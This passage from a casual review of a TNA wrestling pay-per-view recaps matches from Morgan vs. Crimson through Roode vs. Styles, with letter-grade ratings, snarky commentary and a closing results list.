We recap Crimson vs. Matt Morgan. It’s a “dream match” according to them. I want whatever sleeping pill that person took because it must be powerful.

Matt Morgan vs. Crimson

It’s a power struggle to start and neither guy can get anywhere with that. Test of strength doesn’t go anywhere as Crimson lets go, which is kind of a heel move. Crimson takes over with a cravate and then some strikes which Tenay says he’s really good at. I don’t recall him being anything above average at them but that works. A clothesline puts Crimson on the floor as they’re playing up the idea that they’re evenly matched.

They fight on the floor and Morgan eventually takes over, possibly due to Crimson having a bad knee. Side slam gets two back in the ring for Morgan. Crimson fights back with a forearm/cross body. A release belly to belly overhead suplex gets two. Morgan fights back with a chokeslam for two. They’re playing this up like a chess match where neither guy can hit anything to get an extended advantage.

Morgan uses more power stuff but can’t get the pin on Crimson which is frustrating him. Crimson tries to reverse a whip but gets caught by a big boot from Morgan. Crimson grabs the Red Sky out of nowhere but Morgan rolls to the ropes, delaying the cover and making it only get two. Morgan says give me your best shot and they slug it out. They do something similar to Cactus Jack and Terry Funk trading weapon shots at the Rumble in I think 98. They get in a brawl and shove the referee down for the weak but required double DQ at 12:05.

Rating: C+. This wasn’t bad but it was a little weird. They were trying to have this clash of the titans and it only half worked as Crimson hasn’t been dominant at all and Morgan is known for not being able to win the big one so it was like a clash of titans that aren’t already off in a big war if that makes sense. The ending was required as I’d assume they’re going to another PPV match with these two, which is fine.

There’s a pull apart brawl after the match.

Scott Steiner and Bully Ray are ready for Abyss and Anderson. Ray talks trash and tells Scott to just keep flexing. Scott says he went to Parts Unknown and found Abyss’ girlfriend to find out everything about Abyss. She was a cross between a redneck and a billy goat. After this, Ray has to date her and she’s not only ugly but fat. Ray insinuates that Team 3D is the best team ever and Scott says he’s the best tag team ever. Oh and don’t bring her any food because she’s fat. This was HILARIOUS.

Scott Steiner/Bully Ray vs. Abyss/Mr. Anderson

The entrances take forever and it’s Anderson vs. Ray to start us off. I’m still trying to figure out why Abyss was a mystery partner last week. Ray runs his mouth a lot as Anderson takes him down with an armbar. Anderson’s clotheslines don’t work so he uses Amazing Red’s double rotation kick instead. Ray suplexes out of a headlock and here’s Steiner. Taz and Steiner had coffee earlier. Good to know I guess.

No Abyss yet as Anderson gets two off a clothesline. Anderson takes both of them down but gets crotched on the post. Taz calls it Yambag Yahtzee. Didn’t he used to be the human suplex machine? The fans say they love Steiner so he tells them to shut up. They chant louder, thereby making him mad. How much can they love him then? Anderson hits a swinging neckbreaker to take Ray down but we get the old school heel move of coming in to make sure the referee misses the face tag. I love that.

Scott goes up and hits his Angle Slam from up there as we’re still waiting on the very hot tag to Abyss. Steiner draws him in as Anderson gets a sunset flip for two. The fans haven’t stopped chanting for about three minutes now. He even flips them off and they won’t stop. Ray and Steiner yell at each other as Ray comes in. Anderson counters the Bubba Bomb into a DDT and both guys are down.

There are those chants again. I know he’s popular but this is insane. We get the double tag and the fans are only a little excited to see Abyss. He beats everyone up and drops Steiner with a slam. Abyss goes up and hits a middle rope splash on the pancake formerly known as Scott Steiner. That gets two as does a chokeslam. The heels double team so Abyss runs them over with a double clothesline.

Anderson gets a blind tag and takes over on apparently the most popular guy in the entire company. Steiner grabs a downward spiral for two on Anderson, who gets booed for kicking out a little bit. Steiner even busts out the Frankensteiner for no cover on Anderson as Abyss got a blind tag of his own and the Black Hole Slam ends this at 11:47.

Rating: C. A decent tag match but those Steiner chants were a big surprise. Then again these are the TNA fans so if they could find a way to get themselves over I’d bet on them having a meeting before the PPV to plan it as well as possible. Not a bad match here and it was better than most Impact tags, which is really all you can ask for.

Post match Immortal beats down Abyss and puts him through a table but he pops up.

Gail/Madison/Karen are ready and this is about Karen looking good as the Knockouts Champion reflects on her as the Knockouts boss. Karen says she and Madison won’t come out later.

Video on Velvet Sky who we’re still supposed to believe was bullied because girls that look like that and were athletes in high school got treated awfully right?

Knockouts Title: Gail Kim vs. Velvet Sky

Brawl to start and I really can’t complain about seeing Velvet in shorts like those. Gail is knocked to the floor and Velvet totally misses a baseball slide but Gail sells it anyway. Back in a crossbody gets two for Sky. Kim takes over and here’s Karen on the ramp as the fans chant what sounds like Sloppy Seconds. Gail hooks an abdominal stretch and Velvet fights back with nothing significant.

I’m sorry if I seem totally out of it here but I have zero interest in this show for the most part. Eat Defeat is blocked into a facebuster by Velvet but Karen distracts as Madison comes in to lay out Velvet. That only gets two and Gail goes up, missing a missile dropkick but managing a rollup with tights for two. Madison cheats again and Eat Defeat gives us a new champion at 5:54. Really?

Rating: C-. The match was ok but the cheating got old fast. Also, they really took the title off Velvet that fast? I’m really kind of surprised by that as I would have thought they would build to Velvet vs. Angelina in the big showdown that has only kind of happened so far. Not great and not bad, but Velvet in blue is always a good thing.

Eric is on the phone with presumably his wife and says Garrett will be coming back to her in a bag after Thursday. Ray comes up all panicked and says they have to do something about Abyss. Maybe the beating him down stuff isn’t working. The camera is on Eric’s stomach for some reason. Ray freaks and says Eric needs to do something. Eric says Ray needs to do something as I have images of Spaceballs dancing in my head. They go off to find Abyss.

We recap Jeff vs. Jeff where Hardy says that he needed to get back to his roots. Jarrett says that Hardy has burned everything how many times and been selfish how many times? Hardy says he doesn’t deserve another chance but asks for another anyway.

Jeff Jarrett vs. Jeff Hardy

It’s a good move to put Hardy in there with Jarrett for his first big match back as Jarrett is almost a guaranteed decent match. Hardy comes out with something like a viking hat on that resembles a ram’s head. Hardy comes in and hits an immediate Twist of Fate to end it in 4 seconds. What just happened???

Rating: C+. Now the first second was kind of slow but those next two seconds were as good as any two seconds that the Briscos and the Funks ever could hope to have. Have you ever seen a match start that fast? The last second was kind of weak though so it brings things down. Still good though.

Jarrett wants to do it again so he jumps Hardy and that’s all cool I guess. The two opening bells were exactly one minute apart.

Jeff Jarrett vs. Jeff Hardy

Jarrett jumped him so he has an early advantage, hitting the move where Hardy is in the 619 position and Jarrett hits a running hip shot to the back of the head. Big Boss Man used it a lot. That really needs a name. All Jarrett so far as Hardy sells like he’s a master at. The guy may be a screwup but he can make you believe he fell out of a building like few others can. Hardy fights back with elbows and punches but Jarrett hooks a sleeper. They slug it out and Hardy grabs a jackknife cover for two. Both finishers are countered and Jarrett tries the figure four. Hardy rolls through for the pin at 5:47.

Rating: C-. Well it was longer, but I still don’t get the point of whatever we just saw was. Hardy looked ok but what was the point in having Hardy pin him twice in less than six minutes? Did Hardy have an early probation meeting to make? Anyway, this was ok but I have no idea what was going on here. I’d love to see some reports on this one.

Jarrett hits Hardy with a chair as he goes up the ramp. Jarrett shouts that it’s over when he says it’s over. He throws Hardy back in the ring and Hebner is forced back in. Jarrett hits the Stroke and says count but Hardy rolls him up and pins Jarrett again after we’ll say about 20 seconds.

Some people congratulate Hardy in the back, including AJ which is a big moment in a way.

Roode says that he was Beer Money and he was Fourtune. He’s the leader of the new generation and that he’ll do whatever it takes to beat AJ and flips the camera off.

We recap Roode winning the title and his heel turn. He didn’t want to risk losing his other shot and turned heel to make sure it worked. Then they used Roode vs. Storm on Impact to make sure that they didn’t have a long build to a big time PPV match which could have drawn money. I mean, they managed a 1.3 in the ratings for crying out loud. CELEBRATION BABY!!! AJ said he’ll fight him for injuring Storm, who is the real star in all of this.

TNA World Title: Robert Roode vs. AJ Styles

After some big match intros we’re ready to go. It’s 10:30 so they have a pretty decent amount of time to use. Roode bails to the corner to start. Nothing to see in the first two minutes or so as Roode stalls. They trade some punches but they’re in whatever gear is below first. AJ had a legit ankle injury coming into this but I’m not sure how severe it was. AJ dodges a charge to send Roode to the floor and hits a running dive off the apron.

It’s pretty clear that ankle is messing him up. Roode rams him into the apron as I don’t think they’re going to go higher up in the gears than this, which if AJ is badly hurt on his ankle is certainly understandable. AJ tries a springboard back in the ring but has no elevation at all. Off to a gutwrench (hold not suplex) by Roode which AJ gets out of quickly. Blockbuster is broken up and AJ tries a superplex. Roode heabutts him down but AJ pops up and gets that superplex this time.

This is reminiscent of Mania 14 as Shawn had to wrestle a totally different style due to his back injury. AJ hooks the fireman’s carry into the backbreaker and AJ I think botches a springboard move. Roode rolls him up and throws a foot on the rope for two. Big spinebuster gets two for Roode. The Impact Zone is weird as you can hear individual fans throughout the show. AJ grabs a suplex and possibly got a hammerlock slam in there too.

He amazes me by managing a decent 450 springboard splash but Roode rolls out of the way. AJ hitting the mat was painful looking. The Clash is broken up and there’s the crossface that AJ tapped to on Impact a few weeks back. AJ breaks out of it through head grease but can’t get the Clash. He tries the springboard forearm but it’s more like a crossbody, getting two.

Roode sneaks in a low blow but the referee gets some of it too. That gets two on AJ so Roode yells and gets small packaged for two. Styles snaps off an enziguri as my jaw somehow drops lower at his ability to do this on a bad ankle. AJ goes off on Roode, throwing in a low blow to knock him to the floor. He totally misses a suicide dive though and Styles is in trouble. Fisherman’s suplex gets two and Roode isn’t sure what to do. Styles busts out the Pele but the Clash is countered into a quick rollup with tights for the pin at 19:33.

Rating: B. The match itself wasn’t all that great but considering AJ’s injury and having to change his style to something totally new like that and getting a decent match out of it too is worth the extra praise. No one thought AJ had a chance here as everything is about Storm vs. Roode #whatever so this was just a pit stop. Impressive showing from AJ but nothing here that makes me think Roode is ready to be the top heel at all, which is his biggest weakness at this point.

Overall Rating: C-. Not their worst PPV but a lot of this just didn’t feeling interesting at all. AJ’s match is a spectacle due to his injury and it being a pretty decent match anyway. The Jeffs had an ok sequence as well as it’s hard to call it a match other than the second part. Pretty ok show but I had no desire to watch it as it felt totally thrown together at the last minute with two matches not being announced on Impact at all. Decent show, but nothing at all worth going out of your way to see.

Results
Robbie E. b Eric Young – Pin after a shot from Rob Terry
Mexican America b. Ink Inc. – Sarita pinned Toxxine after hitting her with a title belt
Austin Aries b. Kid Kash and Jesse Sorensen – Rollup to Kash
Rob Van Dam b. Christopher Daniels – Five Star Frog Splash
Matt Morgan vs. Crimson went to a double disqualification
Abyss/Mr. Anderson b. Scott Steiner/Bully Ray – Black Hole Slam to Steiner
Gail Kim b. Velvet Sky – Eat Defeat
Jeff Hardy b. Jeff Jarrett – Twist of Fate
Jeff Hardy b. Jeff Jarrett – Small Package
Jeff Hardy b. Jeff Jarrett – Crucifix
Robert Roode b. AJ Styles – Rollup with a handful of tights

 

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